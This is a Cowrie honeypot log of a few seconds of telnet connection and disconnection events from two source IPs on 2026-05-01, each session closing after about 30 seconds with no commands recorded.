{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53822,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a8c16bb9aa","protocol":"telnet","message":"New connection: 208.115.200.90:53822 (10.17.0.5:23) [session: e4a8c16bb9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:10.305099Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53890,"dst_ip":"10.17.0.5","dst_port":23,"session":"9defcbf42743","protocol":"telnet","message":"New connection: 208.115.200.90:53890 (10.17.0.5:23) [session: 9defcbf42743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:10.391639Z"}
{"eventid":"cowrie.session.closed","duration":31.27992820739746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:10.398095Z","src_ip":"208.115.200.90","session":"7506e8673a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":52686,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0b6ba8ed965","protocol":"telnet","message":"New connection: 208.115.200.90:52686 (10.17.0.5:23) [session: c0b6ba8ed965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:10.446280Z"}
{"eventid":"cowrie.session.closed","duration":31.30066680908203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:10.477373Z","src_ip":"208.115.200.90","session":"9e73a8ea6a33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.509368658065796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:10.886968Z","src_ip":"208.115.200.90","session":"d8c3d296d2a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.752554893493652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:11.032388Z","src_ip":"208.115.219.122","session":"19a2460dc1ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53774,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3cdb8ea7417","protocol":"telnet","message":"New connection: 208.115.200.90:53774 (10.17.0.5:23) [session: c3cdb8ea7417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:11.144590Z"}
{"eventid":"cowrie.session.closed","duration":30.452280282974243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:11.152753Z","src_ip":"208.115.200.90","session":"7cdd85b05ccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136742115020752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:11.183337Z","src_ip":"208.115.219.122","session":"7d973a884cef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54398,"dst_ip":"10.17.0.5","dst_port":23,"session":"a04249518596","protocol":"telnet","message":"New connection: 208.115.200.90:54398 (10.17.0.5:23) [session: a04249518596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:11.234886Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54408,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9fec936935a","protocol":"telnet","message":"New connection: 208.115.200.90:54408 (10.17.0.5:23) [session: d9fec936935a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:11.276798Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54416,"dst_ip":"10.17.0.5","dst_port":23,"session":"01d745932083","protocol":"telnet","message":"New connection: 208.115.200.90:54416 (10.17.0.5:23) [session: 01d745932083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:11.314089Z"}
{"eventid":"cowrie.session.closed","duration":31.224984169006348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:11.337127Z","src_ip":"208.115.200.90","session":"b72c605133a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15036678314209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:11.343355Z","src_ip":"208.115.200.90","session":"8975443cf99f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.614765167236328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:11.418759Z","src_ip":"208.115.219.122","session":"f0bc0c2bb3ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54512,"dst_ip":"10.17.0.5","dst_port":23,"session":"25a1263e0ccd","protocol":"telnet","message":"New connection: 208.115.200.90:54512 (10.17.0.5:23) [session: 25a1263e0ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:11.573753Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36084,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba7916194b47","protocol":"telnet","message":"New connection: 208.115.219.122:36084 (10.17.0.5:23) [session: ba7916194b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:11.847925Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36180,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe31fe6c58d6","protocol":"telnet","message":"New connection: 208.115.219.122:36180 (10.17.0.5:23) [session: fe31fe6c58d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:12.048140Z"}
{"eventid":"cowrie.session.closed","duration":30.948744773864746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:12.073887Z","src_ip":"208.115.219.122","session":"78e70d29e6ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36196,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc3eccf19dc4","protocol":"telnet","message":"New connection: 208.115.219.122:36196 (10.17.0.5:23) [session: bc3eccf19dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:12.140136Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54698,"dst_ip":"10.17.0.5","dst_port":23,"session":"b49bb90d3c72","protocol":"telnet","message":"New connection: 208.115.200.90:54698 (10.17.0.5:23) [session: b49bb90d3c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:12.205512Z"}
{"eventid":"cowrie.session.closed","duration":31.218366146087646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:12.220401Z","src_ip":"208.115.200.90","session":"6245a62b667f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36232,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbb45f8d063c","protocol":"telnet","message":"New connection: 208.115.219.122:36232 (10.17.0.5:23) [session: fbb45f8d063c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:12.279326Z"}
{"eventid":"cowrie.session.closed","duration":31.0653657913208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:12.331147Z","src_ip":"208.115.200.90","session":"574a0c9f7976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36262,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed89fbf7c17b","protocol":"telnet","message":"New connection: 208.115.219.122:36262 (10.17.0.5:23) [session: ed89fbf7c17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:12.384532Z"}
{"eventid":"cowrie.session.closed","duration":31.300357818603516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:12.415148Z","src_ip":"208.115.219.122","session":"dd1140bcd4b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33239436149597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:12.573825Z","src_ip":"208.115.219.122","session":"4eea4d751f60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54888,"dst_ip":"10.17.0.5","dst_port":23,"session":"696b14938614","protocol":"telnet","message":"New connection: 208.115.200.90:54888 (10.17.0.5:23) [session: 696b14938614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:12.626701Z"}
{"eventid":"cowrie.session.closed","duration":30.810504913330078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.013032Z","src_ip":"208.115.219.122","session":"5f52adc3d6a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912281274795532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.019732Z","src_ip":"208.115.219.122","session":"cbc280152333","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55056,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff605a9ec1a9","protocol":"telnet","message":"New connection: 208.115.200.90:55056 (10.17.0.5:23) [session: ff605a9ec1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.023743Z"}
{"eventid":"cowrie.session.closed","duration":30.940430879592896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.032755Z","src_ip":"208.115.219.122","session":"dfd699d47a9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.510704040527344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.049214Z","src_ip":"208.115.219.122","session":"c4e97fbf3932","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55062,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d0b350c9a86","protocol":"telnet","message":"New connection: 208.115.200.90:55062 (10.17.0.5:23) [session: 0d0b350c9a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.096365Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55068,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ec9089aaf3","protocol":"telnet","message":"New connection: 208.115.200.90:55068 (10.17.0.5:23) [session: 94ec9089aaf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.108489Z"}
{"eventid":"cowrie.session.closed","duration":30.80272150039673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.160428Z","src_ip":"208.115.219.122","session":"e5ccb62bfb87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53776,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6b235ef8f8d","protocol":"telnet","message":"New connection: 208.115.200.90:53776 (10.17.0.5:23) [session: a6b235ef8f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.202481Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36420,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa1733e93a61","protocol":"telnet","message":"New connection: 208.115.219.122:36420 (10.17.0.5:23) [session: fa1733e93a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.272854Z"}
{"eventid":"cowrie.session.closed","duration":31.062754154205322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.369716Z","src_ip":"208.115.200.90","session":"0c7bb7d0de7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55176,"dst_ip":"10.17.0.5","dst_port":23,"session":"14be7a3f865a","protocol":"telnet","message":"New connection: 208.115.200.90:55176 (10.17.0.5:23) [session: 14be7a3f865a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.521679Z"}
{"eventid":"cowrie.session.closed","duration":31.496846914291382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.756200Z","src_ip":"208.115.219.122","session":"87e00d351734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22864603996277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.819494Z","src_ip":"208.115.200.90","session":"6e69b5a7b757","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55394,"dst_ip":"10.17.0.5","dst_port":23,"session":"371bad7400da","protocol":"telnet","message":"New connection: 208.115.200.90:55394 (10.17.0.5:23) [session: 371bad7400da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:13.961206Z"}
{"eventid":"cowrie.session.closed","duration":30.89864182472229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.029335Z","src_ip":"208.115.219.122","session":"5200261113a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.521762132644653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.037736Z","src_ip":"208.115.200.90","session":"feecda9ae6a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891119956970215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.048509Z","src_ip":"208.115.219.122","session":"936bbe399293","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83181595802307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.088504Z","src_ip":"208.115.200.90","session":"b47b0d1820c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36588,"dst_ip":"10.17.0.5","dst_port":23,"session":"5800640feaf7","protocol":"telnet","message":"New connection: 208.115.219.122:36588 (10.17.0.5:23) [session: 5800640feaf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.118763Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36602,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e239d025629","protocol":"telnet","message":"New connection: 208.115.219.122:36602 (10.17.0.5:23) [session: 0e239d025629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.132370Z"}
{"eventid":"cowrie.session.closed","duration":30.70195484161377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.138103Z","src_ip":"208.115.219.122","session":"f80f0a646e13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68682074546814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.147550Z","src_ip":"208.115.200.90","session":"f6a4e4f0fe34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.859149932861328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.161960Z","src_ip":"208.115.200.90","session":"1fce9079c520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93199110031128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.194332Z","src_ip":"208.115.200.90","session":"c3d7683e827d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":55428,"dst_ip":"10.17.0.5","dst_port":23,"session":"8700dd23a878","protocol":"telnet","message":"New connection: 208.115.200.90:55428 (10.17.0.5:23) [session: 8700dd23a878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.202843Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48518,"dst_ip":"10.17.0.5","dst_port":23,"session":"8df7d4cdf43e","protocol":"telnet","message":"New connection: 208.115.200.90:48518 (10.17.0.5:23) [session: 8df7d4cdf43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.438894Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36872,"dst_ip":"10.17.0.5","dst_port":23,"session":"c74e09f9bfb0","protocol":"telnet","message":"New connection: 208.115.219.122:36872 (10.17.0.5:23) [session: c74e09f9bfb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.569544Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48716,"dst_ip":"10.17.0.5","dst_port":23,"session":"210c1ce04f52","protocol":"telnet","message":"New connection: 208.115.200.90:48716 (10.17.0.5:23) [session: 210c1ce04f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.703403Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36924,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bcd987f4c68","protocol":"telnet","message":"New connection: 208.115.219.122:36924 (10.17.0.5:23) [session: 4bcd987f4c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.764628Z"}
{"eventid":"cowrie.session.closed","duration":31.519235134124756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.870551Z","src_ip":"208.115.219.122","session":"e478740bf273","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36952,"dst_ip":"10.17.0.5","dst_port":23,"session":"45c07e38c566","protocol":"telnet","message":"New connection: 208.115.219.122:36952 (10.17.0.5:23) [session: 45c07e38c566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:14.909457Z"}
{"eventid":"cowrie.session.closed","duration":30.604727745056152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.021430Z","src_ip":"208.115.219.122","session":"76c228b4230f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37020,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b541e1b79df","protocol":"telnet","message":"New connection: 208.115.219.122:37020 (10.17.0.5:23) [session: 6b541e1b79df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.041344Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54634,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b2772b7182f","protocol":"telnet","message":"New connection: 208.115.200.90:54634 (10.17.0.5:23) [session: 5b2772b7182f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.050532Z"}
{"eventid":"cowrie.session.closed","duration":30.586365461349487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.068408Z","src_ip":"208.115.219.122","session":"4fe06cb85878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66681981086731,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.080184Z","src_ip":"208.115.200.90","session":"a7c4d0d2cde1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54122,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c1bdc0bf843","protocol":"telnet","message":"New connection: 208.115.219.122:54122 (10.17.0.5:23) [session: 1c1bdc0bf843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.105422Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54150,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9883dd01334","protocol":"telnet","message":"New connection: 208.115.219.122:54150 (10.17.0.5:23) [session: c9883dd01334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.148975Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48970,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d8152c3fe45","protocol":"telnet","message":"New connection: 208.115.200.90:48970 (10.17.0.5:23) [session: 4d8152c3fe45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.203108Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54210,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd03a8b854c4","protocol":"telnet","message":"New connection: 208.115.219.122:54210 (10.17.0.5:23) [session: cd03a8b854c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.284091Z"}
{"eventid":"cowrie.session.closed","duration":30.90223503112793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.360982Z","src_ip":"208.115.200.90","session":"3a8b09194042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49018,"dst_ip":"10.17.0.5","dst_port":23,"session":"30a767ee1523","protocol":"telnet","message":"New connection: 208.115.200.90:49018 (10.17.0.5:23) [session: 30a767ee1523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.408327Z"}
{"eventid":"cowrie.session.closed","duration":31.341712474822998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.414953Z","src_ip":"208.115.200.90","session":"f2c5e90ae823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49072,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb74129c8838","protocol":"telnet","message":"New connection: 208.115.200.90:49072 (10.17.0.5:23) [session: bb74129c8838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.498628Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54216,"dst_ip":"10.17.0.5","dst_port":23,"session":"89c13bb6bc4d","protocol":"telnet","message":"New connection: 208.115.219.122:54216 (10.17.0.5:23) [session: 89c13bb6bc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.603233Z"}
{"eventid":"cowrie.session.closed","duration":31.276526927947998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.686210Z","src_ip":"208.115.200.90","session":"767be7351a8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.68082547187805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.731057Z","src_ip":"208.115.219.122","session":"ab8d66ccf5de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.78271460533142,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:15.977106Z","src_ip":"208.115.200.90","session":"7a80ca83cf0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":37012,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ef1c906c441","protocol":"telnet","message":"New connection: 208.115.219.122:37012 (10.17.0.5:23) [session: 5ef1c906c441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.076822Z"}
{"eventid":"cowrie.session.closed","duration":31.01396894454956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.104717Z","src_ip":"208.115.219.122","session":"6ace7ee90e10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54270,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f79abeb005d","protocol":"telnet","message":"New connection: 208.115.219.122:54270 (10.17.0.5:23) [session: 8f79abeb005d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:16.133057Z"}
